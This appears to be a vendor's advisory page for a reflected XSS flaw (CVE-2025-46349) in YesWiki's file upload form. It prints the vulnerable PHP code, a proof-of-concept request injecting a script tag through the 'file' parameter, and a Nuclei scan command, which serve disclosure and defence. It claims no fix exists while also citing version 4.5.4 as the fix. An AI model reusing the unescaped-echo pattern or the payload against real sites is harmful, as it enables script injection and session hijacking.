CVE-2025-46349 is a high-severity (CVSS 7.6) Cross-site Scripting (XSS) vulnerability in yeswiki/yeswiki. No vendor fix is recorded yet; mitigation options are listed below.
YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-46349.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2025-46349 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
yeswiki/yeswikiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Reflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication
This Proof of Concept has been performed using the followings:
- YesWiki v4.5.3 (doryphore-dev branch)
- Docker environnment (docker/docker-compose.yml)
Vulnerable code
The vulnerability is located in the file
public function showUploadForm()
{
$this->file = $_GET['file'];
echo '<h3>' . _t('ATTACH_UPLOAD_FORM_FOR_FILE') . ' ' . $this->file . "</h3>\n";
echo '<form enctype="multipart/form-data" name="frmUpload" method="POST" action="' . $this->wiki->href('upload', $this->wiki->GetPageTag()) . "\">\n"
. ' <input type="hidden" name="wiki" value="' . $this->wiki->GetPageTag() . "/upload\" />\n"
. ' <input type="hidden" name="MAX_FILE_SIZE" value="' . $this->attachConfig['max_file_size'] . "\" />\n"
. " <input type=\"hidden\" name=\"file\" value=\"$this->file\" />\n"
. " <input type=\"file\" name=\"upFile\" size=\"50\" /><br />\n"
. ' <input class="btn btn-primary" type="submit" value="' . _t('ATTACH_SAVE') . "\" />\n"
. "</form>\n";
}
PoC
- You need to send a request to endpoint and abusing the
fileparameter, we can successfully obtain client side javascript execution
GET /?PagePrincipale/upload&file=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: localhost:8085
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Accept-Language: ru-RU,ru;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
- Get a response <img width="853" alt="Снимок экрана 2025-04-11 в 02 04 55" src="https://github.com/user-attachments/assets/b923f563-ead5-494c-8fbd-1c3b11635820" />
Impact
This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | yeswiki/yeswiki | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for yeswiki/yeswiki, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of yeswiki/yeswiki has shipped for CVE-2025-46349 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-46349 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-46349. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
How to detect CVE-2025-46349
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id cve-2025-46349 -u https://target- Template
- YesWiki Reflected XSS via File Upload
- Severity
- high
- Impact
- Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
- Remediation
- Update to version 4.5.4 or later.
Template by ProjectDiscovery nuclei-templates (Mahmoud Gamal), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is CVE-2025-46349 in your dependencies?
O3 Security finds CVE-2025-46349 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.